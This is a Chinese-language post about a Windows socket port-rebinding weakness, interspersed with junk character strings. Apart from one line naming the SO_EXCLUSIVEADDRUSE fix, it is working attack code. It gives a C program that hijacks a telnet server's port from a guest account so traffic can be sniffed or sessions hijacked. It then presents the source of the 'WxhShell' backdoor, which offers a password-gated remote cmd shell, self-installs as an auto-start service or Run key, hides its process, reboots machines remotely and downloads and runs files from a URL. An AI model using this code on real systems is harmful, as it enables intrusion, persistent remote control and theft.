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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: nR~(0G,H s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); #S(Hd?34, RZ7@cQY
saddr.sin_family = AF_INET; XRH!]! Uv.)?YeGh saddr.sin_addr.s_addr = htonl(INADDR_ANY); 40/Y\ TNth bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); +0~YP*I`/
grYe&(`X 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 G?ZXWu. Y7aqO5 这意味着什么?意味着可以进行如下的攻击: /NlGFO*Z yw!{MO 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ]3gSQ7 Qd-A.{[h 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
$k?>DP4 Y}/-C3) 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 P%6~&woF <m m[S 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 i$@:@&(~Y rc{v$.o0 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 yZRzIb_ N$DkX)Z 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 VnzZTGs ^_6|X]tz1T 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 /mMV{[ :svqE+2 #include ^"g~- #include OPi0~s #include $Y;RKe9 #include +%&yJ4- DWORD WINAPI ClientThread(LPVOID lpParam); ;,TFr}p` int main() \8
":]EU { Tk>#G{Wb- WORD wVersionRequested; GmG5[?) DWORD ret; y(&Ac[foS} WSADATA wsaData; j [a(#V{ BOOL val; ZoeD:xnh[ SOCKADDR_IN saddr; TV:9bn?r) SOCKADDR_IN scaddr; Mhu*[a=;x int err; XuTD\g3) SOCKET s; !W\+#ez SOCKET sc; 2T1q?L?] int caddsize; (mOtU8e HANDLE mt; ~?dI*BZ)] DWORD tid; v^iAD2X/F wVersionRequested = MAKEWORD( 2, 2 ); : +u]S2u{ err = WSAStartup( wVersionRequested, &wsaData ); %)|s1B'd if ( err != 0 ) { @co
S+t printf("error!WSAStartup failed!\n"); omFz@ return -1; @ 7u 0v } N;R^h? ' saddr.sin_family = AF_INET; \G BuWY3B [RL9>n8f //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 >sF)BoLc b'y%n saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); >eaaaq9B- saddr.sin_port = htons(23); No$3"4wk if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) bLL2 { HsWk*L `y printf("error!socket failed!\n"); QWU[@2@%r return -1; $:6!H:ty } D=$)n_F val = TRUE; =%7-ZH9 //SO_REUSEADDR选项就是可以实现端口重绑定的 Q/?$x*\> if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) [K Qi.u { {_}I!`opr$ printf("error!setsockopt failed!\n"); 8(De^H lO return -1; 0"R|..l/ } ~~.}ah/_d //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ta0|^KAA //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 xG 1nGO //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 [WJ+h~~
o Ni>[D"| if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) Smh,zCc>s { vI?, 47Hj+ ret=GetLastError(); [7-?7mp!B printf("error!bind failed!\n"); h;Qk@F return -1; sT.ss$HY9, } TvM~y\s listen(s,2); 2eogY# while(1) q)GdD== { maZ)cW?
caddsize = sizeof(scaddr); K}y
f>'O //接受连接请求 xo)P?- sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); [UR-I0 s!/ if(sc!=INVALID_SOCKET) @iiT< { hoP]9&<T mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); /
1RpM]d if(mt==NULL) #Y!a6h+ { 5G#n"}T printf("Thread Creat Failed!\n"); ("@!>|H break; }\f0 A- } Mt$
*a } X2_=agEP CloseHandle(mt); }ZI7J } V9vTsmo( closesocket(s); s~>}a WSACleanup(); r%_djUd return 0; S/ *E,))m } =I<R! ZSN DWORD WINAPI ClientThread(LPVOID lpParam) aXVFc5C\ { Qrv<lE1V; SOCKET ss = (SOCKET)lpParam; t1".0 SOCKET sc; .}t
e>]A* unsigned char buf[4096]; ks tIgcI
SOCKADDR_IN saddr; ?< />Z) long num; 3Vwh|1? DWORD val; l}
/F* DWORD ret; hxx.9x>ow //如果是隐藏端口应用的话,可以在此处加一些判断 K9[UB //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 "Q0@/bYq saddr.sin_family = AF_INET; EnR}IY&sI saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); _t$sgz& saddr.sin_port = htons(23); 1\Xw3prH
if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) pmM9,6P4@ { Z;i:]( printf("error!socket failed!\n"); Dv"9qk return -1; W!X@ } |4JEU3\$ val = 100; 45e~6", if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) sB</DS { XSDpRo ret = GetLastError(); g-A-kqo9 return -1; EPm/r } ;jXgAAz7 if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) *hx { +z( Lr=G ret = GetLastError(); eDMO]5}Ht return -1; ]lbuy7xj63 }
2iOV/=+ if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) YVU7wW,1 { \G[$:nS printf("error!socket connect failed!\n"); -@s#uA
h closesocket(sc); 7r!x1 closesocket(ss); M7T5
~/4 return -1; s*[bFJwN } 8Wx=p#_ while(1) %;_MGae { UpG~[u)%@ //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 :]KAkhFkbb //如果是嗅探内容的话,可以再此处进行内容分析和记录 L#J1b!D&<6 //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 fl(wV.Je| num = recv(ss,buf,4096,0); t!XwW$@ if(num>0) s#11FfF` send(sc,buf,num,0); o4X{L`m else if(num==0) Wc#24:OKe3 break; +2{Lh7Ks num = recv(sc,buf,4096,0); JI}'dU>*U: if(num>0) 3$ pX send(ss,buf,num,0); l-Z4Mq6*L else if(num==0) j_AACq
{. break; UVP vOtZj } UfGkTwoo= closesocket(ss); 29KiuP closesocket(sc); XwmL.Gg:]7 return 0 ; [~HN<>L@C } W4S,6( <YY 14p >Ry01G]_/h ========================================================== $mI Loy
B, !zo{tI19 下边附上一个代码,,WXhSHELL a9gLg
& CrLrw T ========================================================== ^sw?gH* EwN}l #include "stdafx.h" 0S"MC9beg wT@og|M #include <stdio.h> icgfB-1|i #include <string.h> l**X^+=$ #include <windows.h> dH!*!r> #include <winsock2.h> U6K|fYN` #include <winsvc.h> \D4:Nt# #include <urlmon.h> CTb%(<r ]G\}k #pragma comment (lib, "Ws2_32.lib") AH^/V}9H #pragma comment (lib, "urlmon.lib") I,tud!p` {FkF #define MAX_USER 100 // 最大客户端连接数 ^W^OfY #define BUF_SOCK 200 // sock buffer @dKTx#gZ #define KEY_BUFF 255 // 输入 buffer 7I}uZ/N Y]>t[Lo% #define REBOOT 0 // 重启 hb$Ce'}N #define SHUTDOWN 1 // 关机 7dWS qPNR`%}Q #define DEF_PORT 5000 // 监听端口 R_C) _f83-':W6 #define REG_LEN 16 // 注册表键长度 ^('wy}; #define SVC_LEN 80 // NT服务名长度 %EH)&k
XSR
4iu // 从dll定义API V0@=^Bls typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); e+WNk
2 typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); }#fbbtd typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ]M=&+c>H~ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); aN?zmkPpov /:
"1Z]@ // wxhshell配置信息 a(nlTMfu struct WSCFG { dd;~K&_Q/i int ws_port; // 监听端口 W1~0_; char ws_passstr[REG_LEN]; // 口令 zCZf%ATq int ws_autoins; // 安装标记, 1=yes 0=no ?}oFg#m-<L char ws_regname[REG_LEN]; // 注册表键名 I9Xuok!0>= char ws_svcname[REG_LEN]; // 服务名 ye&;(30Oq char ws_svcdisp[SVC_LEN]; // 服务显示名 9*gZ-# char ws_svcdesc[SVC_LEN]; // 服务描述信息 RZLq]8pM char ws_passmsg[SVC_LEN]; // 密码输入提示信息 3fj4%P" int ws_downexe; // 下载执行标记, 1=yes 0=no Ui~>SN>s char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" 1}x%%RD_ char ws_filenam[SVC_LEN]; // 下载后保存的文件名 HJ"GnZp< uRvP hkqm };
TjH][bH5 Y2AJ+
| // default Wxhshell configuration [n@]
r2g)3 struct WSCFG wscfg={DEF_PORT, u`W2+S "xuhuanlingzhe", SUiOJ[5, 1, ftb\0,- "Wxhshell", j#|ZP-=1_ "Wxhshell", vh^VxS "WxhShell Service", q9"96({\@ "Wrsky Windows CmdShell Service", i1UsIT "Please Input Your Password: ", e'~3oqSvR 1, Q,g\ " http://www.wrsky.com/wxhshell.exe", dO'(2J8 "Wxhshell.exe" {: /}NpA$ }; ?uu*L6 ?<!| // 消息定义模块 y29m/i: char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; P.cyO3l char *msg_ws_prompt="\n\r? for help\n\r#>"; -?\D\\+t char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; @ArSC char *msg_ws_ext="\n\rExit."; Jy)/%p~ char *msg_ws_end="\n\rQuit."; O.? JmE char *msg_ws_boot="\n\rReboot..."; Gc?a +T char *msg_ws_poff="\n\rShutdown..."; _BufO7`. char *msg_ws_down="\n\rSave to "; K(4_a``05 5BIY<B+i char *msg_ws_err="\n\rErr!"; U^PgG|0N char *msg_ws_ok="\n\rOK!"; dtDFoETz /ZX}Nc g char ExeFile[MAX_PATH]; 6ujWNf int nUser = 0; I9^x,F"E] HANDLE handles[MAX_USER]; &oNAv-m^GD int OsIsNt; Z,gk|M3. F9^S"qv$ SERVICE_STATUS serviceStatus; 203s^K61 SERVICE_STATUS_HANDLE hServiceStatusHandle;
mh%VrAq z{q`G wW // 函数声明 ).O)p9 int Install(void); KNl$3nX int Uninstall(void); UMi~14& ; int DownloadFile(char *sURL, SOCKET wsh); W?&%x(6M int Boot(int flag); Eci\a] void HideProc(void); P55fL-vo|} int GetOsVer(void); }>\C{ClI int Wxhshell(SOCKET wsl); kh<2BOV void TalkWithClient(void *cs); ctQ/wrkU int CmdShell(SOCKET sock); :FF=a3/"6 int StartFromService(void); 4euO1= int StartWxhshell(LPSTR lpCmdLine); %#+Hl0,Tt u8^lB7!e/ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
7GGUV VOID WINAPI NTServiceHandler( DWORD fdwControl ); (Ld i|jL Iu{V,U // 数据结构和表定义 k6^Z~5
Sy SERVICE_TABLE_ENTRY DispatchTable[] = TeQV?ZQ#} { rv;3~'V {wscfg.ws_svcname, NTServiceMain}, :RYTL'hes {NULL, NULL} x`s>*^ }; 7<4qQ.deE XW/o<[91 // 自我安装 crCJrN= int Install(void) vO=fP_ { cQ|NJ_F{1 char svExeFile[MAX_PATH]; XppOU HKEY key; ZCw]m#lS strcpy(svExeFile,ExeFile); NK+o1 KvSG; // 如果是win9x系统,修改注册表设为自启动 \vNU,WO if(!OsIsNt) { buC{r, if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { $b\P|#A RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); x-c"%Z| RegCloseKey(key); bt *k.=p if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { d9ihhqq3} RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Bvj0^fSm RegCloseKey(key); #ob/p#k return 0; G}*hM$F } }]TxlSp!; } *hrd5na } V&i;\ 9 else { sLFl!jX Xj*Wu_ // 如果是NT以上系统,安装为系统服务 hZ3bVi)L\ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); E`q_bn if (schSCManager!=0) #$vEGY}1 { 8L XHk l SC_HANDLE schService = CreateService G3]4A&h9v~ ( E7hhew schSCManager, zDp 2g) wscfg.ws_svcname, Z)!C'c b wscfg.ws_svcdisp, J4utIGF SERVICE_ALL_ACCESS, GILfbNcd SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , V~bD)?M SERVICE_AUTO_START, X]=t> SERVICE_ERROR_NORMAL, ;<5q]/IHK svExeFile, R]dg_Da NULL, d-m7}2c NULL, wr4:Go` NULL, NI5``BwpO NULL, +p^u^a NULL v=k$A ); _@g;8CA if (schService!=0) tkhCw/ { !wNO8;( CloseServiceHandle(schService); ]4{H+rw CloseServiceHandle(schSCManager); -M2yw strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); +(*DT9s+ strcat(svExeFile,wscfg.ws_svcname); iE{&*.q_}> if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { _ |p8M!
RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ?upM>69{ RegCloseKey(key); H]!"Zq k return 0; 598i^z{~0% } 51u0]Qx;fm } +"(jjxJm CloseServiceHandle(schSCManager); !BI;C(,RL } \9d$@V } V]N?6\Op |o@%dH return 1; *VeRVaBl } 5;S.H#YOpO bcR_E5x$ // 自我卸载 zQA`/&=Y int Uninstall(void) H"KCK6 { OB7hlW HKEY key; r>\bW)e }Lv;! if(!OsIsNt) { 2tLJU Z1 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { eQ"E RegDeleteValue(key,wscfg.ws_regname); :4s1CC+@\ RegCloseKey(key); _U0f=m if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { eFAnFJ][L RegDeleteValue(key,wscfg.ws_regname); "j-CZ\]U| RegCloseKey(key); r/sNrB1U"y return 0; U&xUfBDt } H-%v3d>3 } nm+s{ } G`zm@QL else { ]?)TdJ` <Qq*p SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); C>~TI,5a3 if (schSCManager!=0) /> Nt[o[r { s(^mZ
-i SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); *kVV+H<X|b if (schService!=0) b\ PgVBf9 { @KA4N` if(DeleteService(schService)!=0) { [V!tVDs&'o CloseServiceHandle(schService); dd["dBIZ ' CloseServiceHandle(schSCManager); ExM,g' 7 return 0; !+ njS } |' . CloseServiceHandle(schService); &?vgP!d&M } i&k7-< CloseServiceHandle(schSCManager); vj*%Q(E6Pt } L(o15 } e*!kZAf qVPeB,kIz return 1; 3[&C g } .G^YqJ 4 h1{3njdr // 从指定url下载文件 ~v83pu1!2s int DownloadFile(char *sURL, SOCKET wsh) kR9-8I{J { 0Qd:`HF[ HRESULT hr; >{Tm##@,k char seps[]= "/"; iCyfOh char *token; _rYkis^u char *file; |%v^W 3 char myURL[MAX_PATH]; 1sCR4L:+ char myFILE[MAX_PATH]; <ih[TtZ -![|}pX strcpy(myURL,sURL); +*^H#|! token=strtok(myURL,seps); v3qA":(w+( while(token!=NULL) b6 M { *'X3z@R file=token; s<Fl p token=strtok(NULL,seps); Kg$Mx } `W-Fssu N<-Gk6`C/ GetCurrentDirectory(MAX_PATH,myFILE);
FC*[* strcat(myFILE, "\\"); wAd9 strcat(myFILE, file); Q,9oKg send(wsh,myFILE,strlen(myFILE),0); VD :/PL send(wsh,"...",3,0); JCaOK2XT; hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); W%)Y#C if(hr==S_OK) 9/7u*>: return 0; cAc@n6[`3 else N&pCx& return 1;
BB'OCN frQ{iUx } H.2QKws^F gNhQD*+>{ // 系统电源模块 *#Wdc O`- int Boot(int flag) @A5?3(e { 7)k\{&+P HANDLE hToken; km40qO@3 TOKEN_PRIVILEGES tkp; XrPfotj1 F>cv<l
=6l if(OsIsNt) { @K]|K]cby OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); *:NQ&y*uj LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); :lzrgsW tkp.PrivilegeCount = 1; HKr
Mim- tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; :c[L3rJl AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); %[yJ4WL if(flag==REBOOT) { 9S -9.mvop if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) hzRYec( return 0; &M'*6A } [mHdG2X else { [PM4k0YC 8 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) J")#I91 return 0; ][] } 2|bn(QYz } u4_9)P`]0 else { WT}H>T if(flag==REBOOT) { H4JTGt1" if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) l (%1jC8 return 0; JLJ;TM'4= } "Yca%: else { @]#1(9P if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) [h:T*(R? return 0; ujucZ9}yd } @<Yy{~L| } ,{q;;b9 .}`Ix'. return 1; 6(e>P) } :\}(&
> N&V`K0FU // win9x进程隐藏模块 g>9kXP+ void HideProc(void) d'I"jZ { XGMiW0j0B IkXx# ) HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); s!e3|pGS if ( hKernel != NULL ) y|q3Wa { ^Q^_?~h*! pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); -o.:P>/ ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); W"3ph6[eW FreeLibrary(hKernel); "x /OIf } pO.2< 8h4'(yGQQW return; Yir
[!{ } 0{[,E. C{bgkzr // 获取操作系统版本 $lut[o74 int GetOsVer(void) R^e.s
- { s|B3~Q] OSVERSIONINFO winfo; &l[$*<P5V winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); *
+wW(#[ GetVersionEx(&winfo); Z87|Zl if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) >6pf$0 return 1; Zoc0!84<z else
EUgs6[w 4 return 0; zZC9\V}R } V,?yPi$#E -FlzEZ // 客户端句柄模块 "2T#MO/ int Wxhshell(SOCKET wsl) bnLPlf { 7(
2{'r SOCKET wsh; O s.4) struct sockaddr_in client;
4I?^ t" DWORD myID; 5lT*hF 4X(H; while(nUser<MAX_USER) CC^'@~)? { |qZ1| int nSize=sizeof(client); [=]4-q6UN wsh=accept(wsl,(struct sockaddr *)&client,&nSize); M[112%[+4 if(wsh==INVALID_SOCKET) return 1; ohGfp9H ?8Cq{ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); x~j`@k,; if(handles[nUser]==0) )Iq <+IJ closesocket(wsh); :Qf '2.h) else f.`*Qg L nUser++; 78%~N`x7 } <nK?L cP WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); mcX/GO} 9lDhIqx0~ return 0; v2;`f+ } ,T8 ~L#M~ nmi|\mof // 关闭 socket N<KS(@v
y void CloseIt(SOCKET wsh) O|N{v"o { *~j@*{u closesocket(wsh); q,U+qt nUser--; f!
.<$ih ExitThread(0); _aMPa+D=P } Yr=Y@~ XL h@]XBv // 客户端请求句柄 3fJc
9| void TalkWithClient(void *cs) Z@@K[$ { '1)$' Eue~Y+K*b SOCKET wsh=(SOCKET)cs;
}sO&. ME char pwd[SVC_LEN]; \K]0JH char cmd[KEY_BUFF]; fCobzDy
char chr[1]; g]yBA7/S" int i,j; yU}qOgXx 8d-t|HkN while (nUser < MAX_USER) { %lGfAYEM= p >t#@Eu| if(wscfg.ws_passstr) { JNUt$h if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); zeC
RK+- //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); u4%Pca9(= //ZeroMemory(pwd,KEY_BUFF); Y6L~K? i=0; P &e\)Z| while(i<SVC_LEN) { @w !PaP hJ#xB6 // 设置超时 4G>H fd_set FdRead; U,- 39mr struct timeval TimeOut; h"lv7;B$ FD_ZERO(&FdRead); Ev(>z-{F FD_SET(wsh,&FdRead); 'B0{_RaTb TimeOut.tv_sec=8; Gvqxi| TimeOut.tv_usec=0; T+K):ug int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); P{+T<bk| if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); BC<^a )D= K8.!_
c if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); :#?5X|Gz pwd =chr[0]; f|lU6EkU if(chr[0]==0xd || chr[0]==0xa) { i`$*Ty"x pwd=0; q Xe8Kto break; I\JGs@I } s '\Uap i++; ~-J]W-n } hL;(C)( Nyj( 0W // 如果是非法用户,关闭 socket qd)/9*|Jl if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); xZwLlY } hUMf"=q+ %pd ,%pg send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Z>W g*sZy) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 4 bH^":i( pF Rg?- while(1) { \\dMy9M- | Aw%zw1@ ZeroMemory(cmd,KEY_BUFF);
Qq;Foa
CZI6 6pDy // 自动支持客户端 telnet标准 |NC*7/} j=0; :G2k5xD/E while(j<KEY_BUFF) { jesGV<`?l if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Rt!FPoN,y cmd[j]=chr[0]; m6CI{Sa](l if(chr[0]==0xa || chr[0]==0xd) { @A89eZbW cmd[j]=0; <\ :Yk break; gPsi } (l-ab2' j++; UsQ+`\| } 5Qn
' ssRbhlD/*1 // 下载文件 E:}r5S)4 if(strstr(cmd,"http://")) { k $J zH$ send(wsh,msg_ws_down,strlen(msg_ws_down),0); [knN:{ l if(DownloadFile(cmd,wsh)) r^paD2&} send(wsh,msg_ws_err,strlen(msg_ws_err),0); \2"I; else FZ,#0ZYJGP send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); X_|J@5b7 } 9Ujo/3,Ak else { [8,yF
D_U 8'nVwb8I switch(cmd[0]) { Y>G@0r BG Sf7\;^ // 帮助 a\E:sPM'> case '?': { |>27B send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); _EMwm&! break; $?<Z!*x } .=;3d~.] // 安装 V(6Z3g case 'i': { /1Q(b if(Install()) \6<=$vD send(wsh,msg_ws_err,strlen(msg_ws_err),0); M
.JoHH else ,5,!es@`b send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); E}p&2P+MR break; ;1.,Sn+zO } _Khc3Jo // 卸载 ZUR6n>r case 'r': { 4?7W+/~<& if(Uninstall()) ytoo~n send(wsh,msg_ws_err,strlen(msg_ws_err),0); ps%q9}J else *q".-u!D[ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <|+Ex break; $yYO_ZBiy } db6b-Y{ // 显示 wxhshell 所在路径 |J}Mgb-4 case 'p': {
L0@SCt char svExeFile[MAX_PATH]; s4SG[w!d strcpy(svExeFile,"\n\r"); 9qz6]-K strcat(svExeFile,ExeFile); a]/>ra5{ send(wsh,svExeFile,strlen(svExeFile),0); 80/F7 q'tn break; .#Z%1U%P. } #9xd[A: N // 重启 m{uxIza case 'b': { )3w@]5j send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); &[/w_|b if(Boot(REBOOT)) )Es"LP] send(wsh,msg_ws_err,strlen(msg_ws_err),0); $lIz{ySJv else { lBTmx(_}}r closesocket(wsh); 7:3$Ey ExitThread(0); Z2='o_c } O0No'LVu break; xp72>*_9& } kg3EY<4i // 关机 ); dT_ case 'd': { 7C ,UDp| send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); .wu
xoq if(Boot(SHUTDOWN)) w1#gOwA,$ send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?zVL;gVWA else { f[~L?B;_L closesocket(wsh); OJzs Q ExitThread(0); .!,z:l$Kh } (egzH? break; D'A/wG } !@'6)/ // 获取shell oMTf"0EIW case 's': { Z->p1xkX CmdShell(wsh); :^x?2%
~K. closesocket(wsh); C
#6dC0 ExitThread(0); dJ""XaHqf break; [YT>*BH ? } c 8>hcV // 退出 J@X'PG<
6B case 'x': { ";Rtiiu send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); $8[r9L!
CloseIt(wsh); !PJ 6%" break; 78OIUNm` } QC;^xG+W // 离开 W.0L:3<" case 'q': { Ii_ojQP-z send(wsh,msg_ws_end,strlen(msg_ws_end),0); 88h3|'* closesocket(wsh); ),!;| bh WSACleanup(); F[[TWf/ exit(1); 5~WGZc break; u[/m|z } WT`4s } ixQJ[fH10 } XWs"jt :2-pjkhiwY // 提示信息 R&';Oro if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); hQH nwr } ?0oUS+lU } mAW,?h 'n$%Ls}S return; h!:~f-@j4 } wz.6du6- eT8} // shell模块句柄 mJ`A_0 int CmdShell(SOCKET sock) {aJJ`t { :`2=@ . STARTUPINFO si;
ZRVT2VfN ZeroMemory(&si,sizeof(si)); 15o?{=b[ si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; d[^~'V si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; z,bQQ;z9 PROCESS_INFORMATION ProcessInfo; w MP char cmdline[]="cmd"; ' dx1x6 CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Vy,^)] return 0; ;~u{56 } pBP.x#| FEW_bP/4 // 自身启动模式 DHT&,= int StartFromService(void) TdGnf { BQ2wnGc typedef struct #\ n8M { 0#*#a13 DWORD ExitStatus; ]
0m&(9 DWORD PebBaseAddress; 3lq Mucr DWORD AffinityMask; GSQ/NYK DWORD BasePriority; u% n*gcY ULONG UniqueProcessId; b-*3 2Y% ULONG InheritedFromUniqueProcessId; ^ Dt#$Z } PROCESS_BASIC_INFORMATION; 0{PzUIM,W n[,w f9 PROCNTQSIP NtQueryInformationProcess; JS>Gd/Jd >ap1"n9k static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; J@ktyd(P static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Ze3X$%kWi WJ9cZL HANDLE hProcess; ^3FE\V/=
PROCESS_BASIC_INFORMATION pbi; ;/*6U [wB9s{CX HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ]UG*r%9 if(NULL == hInst ) return 0; g}U3y' dN}#2Bo= g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Uyr3dN%*r g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); fiN3xP]V
